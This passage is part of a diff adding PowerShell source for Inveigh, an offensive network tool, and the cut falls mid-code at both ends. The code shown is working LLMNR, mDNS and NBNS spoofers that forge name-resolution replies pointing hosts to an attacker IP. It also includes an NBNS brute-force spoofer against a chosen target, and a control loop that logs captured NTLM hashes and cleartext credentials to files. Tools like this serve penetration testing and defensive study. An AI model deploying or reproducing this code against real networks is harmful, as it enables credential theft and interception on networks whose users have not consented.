0x80,0x00,0x00,0x01,0x00,0x01,0x00,0x00,0x00,0x00 + + $LLMNR_request_data[12..$LLMNR_request_data.Length] + + $LLMNR_request_data[12..$LLMNR_request_data.Length] + + $LLMNR_TTL_bytes + + 0x00,0x04 + + ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes() + + $LLMNR_query_string = [Text.Encoding]::UTF8.GetString($LLMNR_request_data[13..($LLMNR_request_data[12] + 12)]) + $source_IP = $LLMNR_listener_endpoint.Address.IPAddressToString + + if(!$Inspect -and ($LLMNR_request_data -and $LLMNR_listener_endpoint.Address.IPAddressToString -ne '0.0.0.0') -and (!$SpooferHostsReply -or $SpooferHostsReply -contains $LLMNR_query_string) -and ( + !$SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $LLMNR_query_string) -and (!$SpooferIPsReply -or $SpooferIPsReply -contains $source_IP) -and (!$SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP) -and ( + $inveigh.spoofer_repeat -or $inveigh.IP_capture_list -notcontains $source_IP)) + { + $LLMNR_destination_endpoint = New-Object Net.IPEndpoint($LLMNR_listener_endpoint.Address,$LLMNR_listener_endpoint.Port) + $LLMNR_UDP_client.Connect($LLMNR_destination_endpoint) + $LLMNR_UDP_client.Send($LLMNR_response_packet,$LLMNR_response_packet.Length) + $LLMNR_UDP_client.Close() + $LLMNR_UDP_client = new-Object System.Net.Sockets.UdpClient 5355 + $LLMNR_multicast_group = [IPAddress]"224.0.0.252" + $LLMNR_UDP_client.JoinMulticastGroup($LLMNR_multicast_group) + $LLMNR_UDP_client.Client.ReceiveTimeout = 5000 + $LLMNR_response_message = "- response sent" + } + else + { + + if($Inspect) + { + $LLMNR_response_message = "- inspect only" + } + elseif($SpooferHostsReply -and $SpooferHostsReply -notcontains $LLMNR_query_string) + { + $LLMNR_response_message = "- $LLMNR_query_string is not on reply list" + } + elseif($SpooferHostsIgnore -and $SpooferHostsIgnore -contains $LLMNR_query_string) + { + $LLMNR_response_message = "- $LLMNR_query_string is on ignore list" + } + elseif($SpooferIPsReply -and $SpooferIPsReply -notcontains $source_IP) + { + $LLMNR_response_message = "- $source_IP is not on reply list" + } + elseif($SpooferIPsIgnore -and $SpooferIPsIgnore -contains $source_IP) + { + $LLMNR_response_message = "- $source_IP is on ignore list" + } + elseif($inveigh.IP_capture_list -contains $source_IP) + { + $LLMNR_response_message = "- previous capture from $source_IP" + } + else + { + $LLMNR_response_message = "- something went wrong" + } + + } + + if($LLMNR_request_data) + { + $inveigh.console_queue.Add("$(Get-Date -format 's') - LLMNR request for $LLMNR_query_string received from $source_IP $LLMNR_response_message") + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - LLMNR request for $LLMNR_query_string received from $source_IP $LLMNR_response_message") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - LLMNR request for $LLMNR_query_string received from $source_IP $LLMNR_response_message") + } + + } + + $LLMNR_request_data = "" + } + + } + + $LLMNR_UDP_client.Close() + } + +# Unprivileged mDNS Spoofer ScriptBlock +$mDNS_spoofer_scriptblock = +{ + param ($Inspect,$mDNS_response_message,$mDNSTTL,$mDNSTypes,$SpooferIP,$SpooferHostsReply,$SpooferHostsIgnore,$SpooferIPsReply,$SpooferIPsIgnore) + + $mDNS_running = $true + $mDNS_listener_endpoint = New-object System.Net.IPEndPoint ([IPAddress]::Any,5353) + + try + { + $mDNS_UDP_client = New-Object System.Net.Sockets.UdpClient 5353 + } + catch + { + $inveigh.console_queue.Add("$(Get-Date -format 's') - Error starting mDNS spoofer") + $mDNS_running = $false + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Error starting mDNS spoofer") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - Error starting mDNS spoofer") + } + + } + + $mDNS_multicast_group = [IPAddress]"224.0.0.251" + $mDNS_UDP_client.JoinMulticastGroup($mDNS_multicast_group) + $mDNS_UDP_client.Client.ReceiveTimeout = 5000 + $mDNS_TTL_bytes = [System.BitConverter]::GetBytes($mDNSTTL) + [Array]::Reverse($mDNS_TTL_bytes) + + while($inveigh.running -and $mDNS_running) + { + + try + { + $mDNS_request_data = $mDNS_UDP_client.Receive([Ref]$mDNS_listener_endpoint) + } + catch + { + $mDNS_UDP_client.Close() + $mDNS_UDP_client = new-Object System.Net.Sockets.UdpClient 5353 + $mDNS_multicast_group = [IPAddress]"224.0.0.251" + $mDNS_UDP_client.JoinMulticastGroup($mDNS_multicast_group) + $mDNS_UDP_client.Client.ReceiveTimeout = 5000 + } + + if([System.BitConverter]::ToString($mDNS_request_data) -like '*-00-01-80-01') + { + $mDNS_response_packet = $mDNS_request_data[0,1] + + 0x84,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00 + + $mDNS_request_data[12..($mDNS_request_data.Length - 5)] + + 0x00,0x01,0x00,0x01 + + $mDNS_TTL_bytes + + 0x00,0x04 + + ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes() + + $mDNS_query_string = DataToString 13 $mDNS_request_data[12] $mDNS_request_data + $mDNS_query_string_full = $mDNS_query_string + ".local" + $source_IP = $mDNS_listener_endpoint.Address.IPAddressToString + + if(!$Inspect -and ($mDNS_request_data -and $mDNS_listener_endpoint.Address.IPAddressToString -ne '0.0.0.0') -and (!$SpooferHostsReply -or $SpooferHostsReply -contains $mDNS_query_string) -and ( + !$SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $mDNS_query_string) -and (!$SpooferIPsReply -or $SpooferIPsReply -contains $source_IP) -and (!$SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP) -and ( + $mDNSTypes -contains 'QU') -and ($inveigh.spoofer_repeat -or $inveigh.IP_capture_list -notcontains $source_IP)) + { + $mDNS_destination_endpoint = New-Object Net.IPEndpoint($mDNS_listener_endpoint.Address,$mDNS_listener_endpoint.Port) + $mDNS_UDP_client.Connect($mDNS_destination_endpoint) + $mDNS_UDP_client.Send($mDNS_response_packet,$mDNS_response_packet.Length) + $mDNS_UDP_client.Close() + $mDNS_UDP_client = new-Object System.Net.Sockets.UdpClient 5353 + $mDNS_multicast_group = [IPAddress]"224.0.0.251" + $mDNS_UDP_client.JoinMulticastGroup($mDNS_multicast_group) + $mDNS_UDP_client.Client.ReceiveTimeout = 5000 + $mDNS_response_message = "- response sent" + } + else + { + + if($Inspect) + { + $mDNS_response_message = "- inspect only" + } + elseif($mDNSTypes -notcontains 'QU') + { + $mDNS_response_message = "- disabled mDNS type" + } + elseif($SpooferHostsReply -and $SpooferHostsReply -notcontains $mDNS_query_string) + { + $mDNS_response_message = "- $mDNS_query_string is not on reply list" + } + elseif($SpooferHostsIgnore -and $SpooferHostsIgnore -contains $mDNS_query_string) + { + $mDNS_response_message = "- $mDNS_query_string is on ignore list" + } + elseif($SpooferIPsReply -and $SpooferIPsReply -notcontains $source_IP) + { + $mDNS_response_message = "- $source_IP is not on reply list" + } + elseif($SpooferIPsIgnore -and $SpooferIPsIgnore -contains $source_IP) + { + $mDNS_response_message = "- $source_IP is on ignore list" + } + elseif($inveigh.IP_capture_list -contains $source_IP) + { + $mDNS_response_message = "- previous capture from $source_IP" + } + else + { + $mDNS_response_message = "- something went wrong" + } + + } + + if($mDNS_request_data) + { + $inveigh.console_queue.Add("$(Get-Date -format 's') - mDNS(QU) request for $mDNS_query_string_full received from $source_IP $mDNS_response_message") + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - mDNS(QU) request for $mDNS_query_string_full received from $source_IP $mDNS_response_message") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - mDNS(QU) request for $mDNS_query_string_full received from $source_IP $mDNS_response_message") + } + + } + + $mDNS_request_data = "" + } + elseif([System.BitConverter]::ToString($mDNS_request_data) -like '*-05-6C-6F-63-61-6C-00-00-01-00-01-*') + { + $mDNS_response_packet = $mDNS_request_data[0,1] + + 0x84,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00 + + $mDNS_request_data[12..($mDNS_request_data[12] + 12)] + + 0x05,0x6c,0x6f,0x63,0x61,0x6c,0x00 + + 0x00,0x01,0x00,0x01 + + $mDNS_TTL_bytes + + 0x00,0x04 + + ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes() + + $mDNS_query_string = DataToString 13 $mDNS_request_data[12] $mDNS_request_data + $mDNS_query_string_full = $mDNS_query_string + ".local" + $source_IP = $mDNS_listener_endpoint.Address.IPAddressToString + + if(!$Inspect -and ($mDNS_request_data -and $mDNS_listener_endpoint.Address.IPAddressToString -ne '0.0.0.0') -and (!$SpooferHostsReply -or $SpooferHostsReply -contains $mDNS_query_string) -and ( + !$SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $mDNS_query_string) -and (!$SpooferIPsReply -or $SpooferIPsReply -contains $source_IP) -and (!$SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP) -and ( + $mDNSTypes -contains 'QM') -and ($inveigh.spoofer_repeat -or $inveigh.IP_capture_list -notcontains $source_IP)) + { + $mDNS_destination_endpoint = New-Object Net.IPEndpoint([IPAddress]"224.0.0.251",5353) + $mDNS_UDP_client.Connect($mDNS_destination_endpoint) + $mDNS_UDP_client.Send($mDNS_response_packet,$mDNS_response_packet.Length) + $mDNS_UDP_client.Close() + $mDNS_UDP_client = new-Object System.Net.Sockets.UdpClient 5353 + $mDNS_multicast_group = [IPAddress]"224.0.0.251" + $mDNS_UDP_client.JoinMulticastGroup($mDNS_multicast_group) + $mDNS_UDP_client.Client.ReceiveTimeout = 5000 + $mDNS_response_message = "- response sent" + } + else + { + + if($Inspect) + { + $mDNS_response_message = "- inspect only" + } + elseif($mDNSTypes -notcontains 'QM') + { + $mDNS_response_message = "- disabled mDNS type" + } + elseif($SpooferHostsReply -and $SpooferHostsReply -notcontains $mDNS_query_string) + { + $mDNS_response_message = "- $mDNS_query_string is not on reply list" + } + elseif($SpooferHostsIgnore -and $SpooferHostsIgnore -contains $mDNS_query_string) + { + $mDNS_response_message = "- $mDNS_query_string is on ignore list" + } + elseif($SpooferIPsReply -and $SpooferIPsReply -notcontains $source_IP) + { + $mDNS_response_message = "- $source_IP is not on reply list" + } + elseif($SpooferIPsIgnore -and $SpooferIPsIgnore -contains $source_IP) + { + $mDNS_response_message = "- $source_IP is on ignore list" + } + elseif($inveigh.IP_capture_list -contains $source_IP) + { + $mDNS_response_message = "- previous capture from $source_IP" + } + else + { + $mDNS_response_message = "- something went wrong" + } + + } + + if($mDNS_request_data) + { + $inveigh.console_queue.Add("$(Get-Date -format 's') - mDNS(QM) request for $mDNS_query_string_full received from $source_IP $mDNS_response_message") + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - mDNS(QM) request for $mDNS_query_string_full received from $source_IP $mDNS_response_message") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - mDNS(QM) request for $mDNS_query_string_full received from $source_IP $mDNS_response_message") + } + + } + + $mDNS_request_data = "" + } + + } + + $mDNS_UDP_client.Close() + } + +# Unprivileged NBNS Spoofer ScriptBlock +$NBNS_spoofer_scriptblock = +{ + param ($Inspect,$NBNS_response_message,$SpooferIP,$NBNSTypes,$SpooferHostsReply,$SpooferHostsIgnore,$SpooferIPsReply,$SpooferIPsIgnore,$NBNSTTL) + + $NBNS_running = $true + $NBNS_listener_endpoint = New-Object System.Net.IPEndPoint ([IPAddress]::Broadcast,137) + + try + { + $NBNS_UDP_client = New-Object System.Net.Sockets.UdpClient 137 + } + catch + { + $inveigh.console_queue.Add("$(Get-Date -format 's') - Error starting NBNS spoofer") + $NBNS_running = $false + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Error starting NBNS spoofer") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - Error starting NBNS spoofer") + } + + } + + $NBNS_UDP_client.Client.ReceiveTimeout = 5000 + $NBNS_TTL_bytes = [System.BitConverter]::GetBytes($NBNSTTL) + [Array]::Reverse($NBNS_TTL_bytes) + + while($inveigh.running -and $NBNS_running) + { + + try + { + $NBNS_request_data = $NBNS_UDP_client.Receive([Ref]$NBNS_listener_endpoint) + } + catch + { + $NBNS_UDP_client.Close() + $NBNS_UDP_client = New-Object System.Net.Sockets.UdpClient 137 + $NBNS_UDP_client.Client.ReceiveTimeout = 5000 + } + + $IP = (Test-Connection 127.0.0.1 -count 1 | Select-Object -ExpandProperty Ipv4Address) + + if($NBNS_request_data -and [System.BitConverter]::ToString($NBNS_request_data[10..11]) -ne '00-01') + { + $NBNS_TTL_bytes = [System.BitConverter]::GetBytes($NBNSTTL) + [Array]::Reverse($NBNS_TTL_bytes) + + $NBNS_response_packet = $NBNS_request_data[0,1] + + 0x85,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x20 + + $NBNS_request_data[13..$NBNS_request_data.Length] + + $NBNS_TTL_bytes + + 0x00,0x06,0x00,0x00 + + ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes() + + 0x00,0x00,0x00,0x00 + + $source_IP = $NBNS_listener_endpoint.Address.IPAddressToString + $NBNS_query_type = [System.BitConverter]::ToString($NBNS_request_data[43..44]) + + switch ($NBNS_query_type) + { + + '41-41' + { + $NBNS_query_type = "00" + } + + '41-44' + { + $NBNS_query_type = "03" + } + + '43-41' + { + $NBNS_query_type = "20" + } + + '42-4C' + { + $NBNS_query_type = "1B" + } + + '42-4D' + { + $NBNS_query_type = "1C" + } + + '42-4E' + { + $NBNS_query_type = "1D" + } + + '42-4F' + { + $NBNS_query_type = "1E" + } + + } + + $NBNS_query = [System.BitConverter]::ToString($NBNS_request_data[13..($NBNS_request_data.Length - 4)]) + $NBNS_query = $NBNS_query -replace "-00","" + $NBNS_query = $NBNS_query.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $NBNS_query_string_encoded = New-Object System.String ($NBNS_query,0,$NBNS_query.Length) + $NBNS_query_string_encoded = $NBNS_query_string_encoded.Substring(0,$NBNS_query_string_encoded.IndexOf("CA")) + $NBNS_query_string_subtracted = "" + $NBNS_query_string = "" + $n = 0 + + do + { + $NBNS_query_string_sub = (([Byte][Char]($NBNS_query_string_encoded.Substring($n,1))) - 65) + $NBNS_query_string_subtracted += ([System.Convert]::ToString($NBNS_query_string_sub,16)) + $n += 1 + } + until($n -gt ($NBNS_query_string_encoded.Length - 1)) + + $n = 0 + + do + { + $NBNS_query_string += ([Char]([System.Convert]::ToInt16($NBNS_query_string_subtracted.Substring($n,2),16))) + $n += 2 + } + until($n -gt ($NBNS_query_string_subtracted.Length - 1) -or $NBNS_query_string.Length -eq 15) + + if(!$Inspect -and ($NBNS_request_data -and $NBNS_listener_endpoint.Address.IPAddressToString -ne '255.255.255.255') -and (!$SpooferHostsReply -or $SpooferHostsReply -contains $NBNS_query_string) -and ( + !$SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $NBNS_query_string) -and (!$SpooferIPsReply -or $SpooferIPsReply -contains $source_IP) -and (!$SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP) -and ( + $inveigh.spoofer_repeat -or $inveigh.IP_capture_list -notcontains $source_IP) -and ($NBNSTypes -contains $NBNS_query_type) -and ($source_IP -ne $IP)) + { + $NBNS_destination_endpoint = New-Object System.Net.IPEndpoint($NBNS_listener_endpoint.Address,137) + $NBNS_UDP_client.Connect($NBNS_destination_endpoint) + $NBNS_UDP_client.Send($NBNS_response_packet,$NBNS_response_packet.Length) + $NBNS_UDP_client.Close() + $NBNS_UDP_client = New-Object System.Net.Sockets.UdpClient 137 + $NBNS_UDP_client.Client.ReceiveTimeout = 5000 + $NBNS_response_message = "- response sent" + } + else + { + + if($Inspect) + { + $NBNS_response_message = "- inspect only" + } + elseif($NBNSTypes -notcontains $NBNS_query_type) + { + $NBNS_response_message = "- disabled NBNS type" + } + elseif($SpooferHostsReply -and $SpooferHostsReply -notcontains $NBNS_query_string) + { + $NBNS_response_message = "- $NBNS_query_string is not on reply list" + } + elseif($SpooferHostsIgnore -and $SpooferHostsIgnore -contains $NBNS_query_string) + { + $NBNS_response_message = "- $NBNS_query_string is on ignore list" + } + elseif($SpooferIPsReply -and $SpooferIPsReply -notcontains $source_IP) + { + $NBNS_response_message = "- $source_IP is not on reply list" + } + elseif($SpooferIPsIgnore -and $SpooferIPsIgnore -contains $source_IP) + { + $NBNS_response_message = "- $source_IP is on ignore list" + } + elseif($inveigh.IP_capture_list -contains $source_IP) + { + $NBNS_response_message = "- previous capture from $source_IP" + } + elseif($source_IP -eq $IP) + { + $NBNS_response_message = "- local request" + } + else + { + $NBNS_response_message = "- something went wrong" + } + + } + + if($NBNS_request_data) + { + $inveigh.console_queue.Add("$(Get-Date -format 's') - NBNS request for $NBNS_query_string<$NBNS_query_type> received from $source_IP $NBNS_response_message") + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - NBNS request for $NBNS_query_string<$NBNS_query_type> received from $source_IP $NBNS_response_message") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - NBNS request for $NBNS_query_string<$NBNS_query_type> received from $source_IP $NBNS_response_message") + } + + } + + $NBNS_request_data = "" + } + + } + + $NBNS_UDP_client.Close() + } + +# NBNS BruteForce ScriptBlock +$NBNS_bruteforce_spoofer_scriptblock = +{ + param ($SpooferIP,$NBNSBruteForceHost,$NBNSBruteForceTarget,$NBNSBruteForcePause,$NBNSTTL) + + $NBNSBruteForceHost = $NBNSBruteForceHost.ToUpper() + + $hostname_bytes = 0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41, + 0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x41,0x41,0x00 + + $hostname_encoded = [System.Text.Encoding]::UTF8.GetBytes($NBNSBruteForceHost) + $hostname_encoded = [System.BitConverter]::ToString($hostname_encoded) + $hostname_encoded = $hostname_encoded.Replace("-","") + $hostname_encoded = [System.Text.Encoding]::UTF8.GetBytes($hostname_encoded) + $NBNS_TTL_bytes = [System.BitConverter]::GetBytes($NBNSTTL) + [Array]::Reverse($NBNS_TTL_bytes) + + for($i=0; $i -lt $hostname_encoded.Count; $i++) + { + + if($hostname_encoded[$i] -gt 64) + { + $hostname_bytes[$i] = $hostname_encoded[$i] + 10 + } + else + { + $hostname_bytes[$i] = $hostname_encoded[$i] + 17 + } + + } + + $NBNS_response_packet = 0x00,0x00,0x85,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x20 + + $hostname_bytes + + 0x00,0x20,0x00,0x01 + + $NBNS_TTL_bytes + + 0x00,0x06,0x00,0x00 + + ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes() + + 0x00,0x00,0x00,0x00 + + $inveigh.console_queue.Add("$(Get-Date -format 's') - Starting NBNS brute force spoofer to resolve $NBNSBruteForceHost on $NBNSBruteForceTarget") + $NBNS_paused = $false + $NBNS_bruteforce_UDP_client = New-Object System.Net.Sockets.UdpClient(137) + $destination_IP = [System.Net.IPAddress]::Parse($NBNSBruteForceTarget) + $destination_point = New-Object Net.IPEndpoint($destination_IP,137) + $NBNS_bruteforce_UDP_client.Connect($destination_point) + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Starting NBNS brute force spoofer to resolve $NBNSBruteForceHost on $NBNSBruteForceTarget") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - Starting NBNS brute force spoofer to resolve $NBNSBruteForceHost on $NBNSBruteForceTarget") + } + + while($inveigh.running) + { + + :NBNS_spoofer_loop while (!$inveigh.hostname_spoof -and $inveigh.running) + { + + if($NBNS_paused) + { + $inveigh.console_queue.Add("$(Get-Date -format 's') - Resuming NBNS brute force spoofer") + $NBNS_paused = $false + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Resuming NBNS brute force spoofer") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - Resuming NBNS brute force spoofer") + } + + } + + for ($i = 0; $i -lt 255; $i++) + { + + for ($j = 0; $j -lt 255; $j++) + { + $NBNS_response_packet[0] = $i + $NBNS_response_packet[1] = $j + $NBNS_bruteforce_UDP_client.send($NBNS_response_packet,$NBNS_response_packet.Length) + + if($inveigh.hostname_spoof -and $NBNSBruteForcePause) + { + $inveigh.console_queue.Add("$(Get-Date -format 's') - Pausing NBNS brute force spoofer") + $NBNS_paused = $true + break NBNS_spoofer_loop + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Pausing NBNS brute force spoofer") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - Pausing NBNS brute force spoofer") + } + + } + + } + + } + + } + + Start-Sleep -m 5 + } + + $NBNS_bruteforce_UDP_client.Close() +} + +# Control Loop ScriptBlock +$control_scriptblock = +{ + param ($ConsoleQueueLimit,$NBNSBruteForcePause,$RunCount,$RunTime) + + $inveigh.control = $true + + function StopInveigh + { + param ([String]$exit_message) + + if($inveigh.HTTPS -and !$inveigh.HTTPS_existing_certificate -or ($inveigh.HTTPS_existing_certificate -and $inveigh.HTTPS_force_certificate_delete)) + { + + try + { + $certificate_store = New-Object System.Security.Cryptography.X509Certificates.X509Store("My","LocalMachine") + $certificate_store.Open('ReadWrite') + $certificates = (Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Issuer -Like "CN=" + $inveigh.certificate_issuer}) + + ForEach($certificate in $certificates) + { + $certificate_store.Remove($certificate) + } + + $certificate_store.Close() + } + catch + { + $inveigh.console_queue.Add("SSL Certificate Deletion Error - Remove Manually") + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually") + } + + } + + } + + if($inveigh.running) + { + Start-Sleep -S 1 + $inveigh.console_queue.Add("Inveigh exited due to $exit_message at $(Get-Date -format 's')") + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh exited due to $exit_message") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - Inveigh exited due to $exit_message") + } + + Start-Sleep -S 1 + $inveigh.running = $false + } + + if($inveigh.relay_running) + { + Start-Sleep -S 1 + $inveigh.console_queue.Add("Inveigh Relay exited due to $exit_message at $(Get-Date -format 's')") + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh Relay exited due to $exit_message") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - Inveigh Relay exited due to $exit_message") + } + + Start-Sleep -S 1 + $inveigh.relay_running = $false + + } + + $inveigh.HTTPS = $false + } + + if($NBNSBruteForcePause) + { + $NBNS_pause = New-TimeSpan -Seconds $NBNSBruteForcePause + } + + $run_count_NTLMv1 = $RunCount + $inveigh.NTLMv1_list.Count + $run_count_NTLMv2 = $RunCount + $inveigh.NTLMv2_list.Count + $run_count_cleartext = $RunCount + $inveigh.cleartext_list.Count + + if($RunTime) + { + $control_timeout = New-TimeSpan -Minutes $RunTime + $control_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() + } + + while($inveigh.running) + { + + if($NBNSBruteForcePause -and $inveigh.hostname_spoof) + { + + if($inveigh.NBNS_stopwatch.Elapsed -ge $NBNS_pause) + { + $inveigh.hostname_spoof = $false + } + + } + + if($RunCount) + { + + if($inveigh.NTLMv1_list.Count -ge $run_count_NTLMv1 -or $inveigh.NTLMv2_list.Count -ge $run_count_NTLMv2 -or $inveigh.cleartext_list.Count -ge $run_count_cleartext) + { + StopInveigh "run count" + } + + } + + if($RunTime) + { + + if($control_stopwatch.Elapsed -ge $control_timeout) + { + StopInveigh "run time" + } + + } + + if($inveigh.file_output) + { + + while($inveigh.log_file_queue.Count -gt 0) + { + $inveigh.log_file_queue[0]|Out-File $inveigh.log_out_file -Append + $inveigh.log_file_queue.RemoveAt(0) + } + + while($inveigh.NTLMv1_file_queue.Count -gt 0) + { + $inveigh.NTLMv1_file_queue[0]|Out-File $inveigh.NTLMv1_out_file -Append + $inveigh.NTLMv1_file_queue.RemoveAt(0) + } + + while($inveigh.NTLMv2_file_queue.Count -gt 0) + { + $inveigh.NTLMv2_file_queue[0]|Out-File $inveigh.NTLMv2_out_file -Append + $inveigh.NTLMv2_file_queue.RemoveAt(0) + } + + while($inveigh.cleartext_file_queue.Count -gt 0) + { + $inveigh.cleartext_file_queue[0]|Out-File $inveigh.cleartext_out_file -Append + $inveigh.cleartext_file_queue.RemoveAt(0) + } + + while($inveigh.POST_request_file_queue.Count -gt 0) + { + $inveigh.POST_request_file_queue[0]|Out-File $inveigh.POST_request_out_file -Append + $inveigh.POST_request_file_queue.RemoveAt(0) + } + + } + + if(!$inveigh.console_output -and $ConsoleQueueLimit -ge 0) + { + + while($inveigh.console_queue.Count -gt $ConsoleQueueLimit -and !$inveigh.console_output) + { + $inveigh.console_queue.RemoveAt(0) + } + + } + + Start-Sleep -m 5 + } + + $inveigh.control = $false +} + +# End ScriptBlocks +# Begin Startup Functions + +# HTTP Listener Startup Function +function HTTPListener() +{ + $proxy_listener = $false + $HTTPS_listener = $false + $HTTP_runspace = [RunspaceFactory]::CreateRunspace() + $HTTP_runspace.Open() + $HTTP_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) + $HTTP_powershell = [PowerShell]::Create() + $HTTP_powershell.Runspace = $HTTP_runspace + $HTTP_powershell.AddScript($shared_basic_functions_scriptblock) > $null + $HTTP_powershell.AddScript($HTTP_scriptblock).AddArgument($Challenge).AddArgument($HTTPAuth).AddArgument( + $HTTPBasicRealm).AddArgument($HTTPContentType).AddArgument($HTTPIP).AddArgument($HTTPPort).AddArgument( + $HTTPDefaultEXE).AddArgument($HTTPDefaultFile).AddArgument($HTTPDir).AddArgument( + $HTTPResetDelay).AddArgument($HTTPResetDelayTimeout).AddArgument($HTTPResponse).AddArgument( + $HTTPS_listener).AddArgument($NBNSBruteForcePause).AddArgument($Proxy).AddArgument( + $ProxyIgnore).AddArgument($proxy_listener).AddArgument($WPADAuth).AddArgument( + $WPADAuthIgnore).AddArgument($WPADResponse) > $null + $HTTP_powershell.BeginInvoke() > $null +} + +Start-Sleep -m 50 + +# HTTPS Listener Startup Function +function HTTPSListener() +{ + $proxy_listener = $false + $HTTPS_listener = $true + $HTTPS_runspace = [RunspaceFactory]::CreateRunspace() + $HTTPS_runspace.Open() + $HTTPS_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) + $HTTPS_powershell = [PowerShell]::Create() + $HTTPS_powershell.Runspace = $HTTPS_runspace + $HTTPS_powershell.AddScript($shared_basic_functions_scriptblock) > $null + $HTTPS_powershell.AddScript($HTTP_scriptblock).AddArgument($Challenge).AddArgument($HTTPAuth).AddArgument( + $HTTPBasicRealm).AddArgument($HTTPContentType).AddArgument($HTTPIP).AddArgument($HTTPSPort).AddArgument( + $HTTPDefaultEXE).AddArgument($HTTPDefaultFile).AddArgument($HTTPDir).AddArgument( + $HTTPResetDelay).AddArgument($HTTPResetDelayTimeout).AddArgument($HTTPResponse).AddArgument( + $HTTPS_listener).AddArgument($NBNSBruteForcePause).AddArgument($Proxy).AddArgument( + $ProxyIgnore).AddArgument($proxy_listener).AddArgument($WPADAuth).AddArgument( + $WPADAuthIgnore).AddArgument($WPADResponse) > $null + $HTTPS_powershell.BeginInvoke() > $null +} + +Start-Sleep -m 50 + +# Proxy Listener Startup Function +function ProxyListener() +{ + $proxy_listener = $true + $HTTPS_listener = $false + $proxy_runspace = [RunspaceFactory]::CreateRunspace() + $proxy_runspace.Open() + $proxy_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) + $proxy_powershell = [PowerShell]::Create() + $proxy_powershell.Runspace = $proxy_runspace + $proxy_powershell.AddScript($shared_basic_functions_scriptblock) > $null + $proxy_powershell.AddScript($HTTP_scriptblock).AddArgument($Challenge).AddArgument($HTTPAuth).AddArgument( + $HTTPBasicRealm).AddArgument($HTTPContentType).AddArgument($ProxyIP).AddArgument($ProxyPort).AddArgument( + $HTTPDefaultEXE).AddArgument($HTTPDefaultFile).AddArgument($HTTPDir).AddArgument( + $HTTPResetDelay).AddArgument($HTTPResetDelayTimeout).AddArgument($HTTPResponse).AddArgument( + $HTTPS_listener).AddArgument($NBNSBruteForcePause).AddArgument($Proxy).AddArgument( + $ProxyIgnore).AddArgument($proxy_listener).AddArgument($WPADAuth).AddArgument( + $WPADAuthIgnore).AddArgument($WPADResponse) > $null + $proxy_powershell.BeginInvoke() > $null +} + +# Sniffer/Spoofer Startup Function +function SnifferSpoofer() +{ + $sniffer_runspace = [RunspaceFactory]::CreateRunspace() + $sniffer_runspace.Open() + $sniffer_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) + $sniffer_powershell = [PowerShell]::Create() + $sniffer_powershell.Runspace = $sniffer_runspace + $sniffer_powershell.AddScript($shared_basic_functions_scriptblock) > $null + $sniffer_powershell.AddScript($SMB_NTLM_functions_scriptblock) > $null + $sniffer_powershell.AddScript($sniffer_scriptblock).AddArgument($IP).AddArgument($LLMNR).AddArgument( + 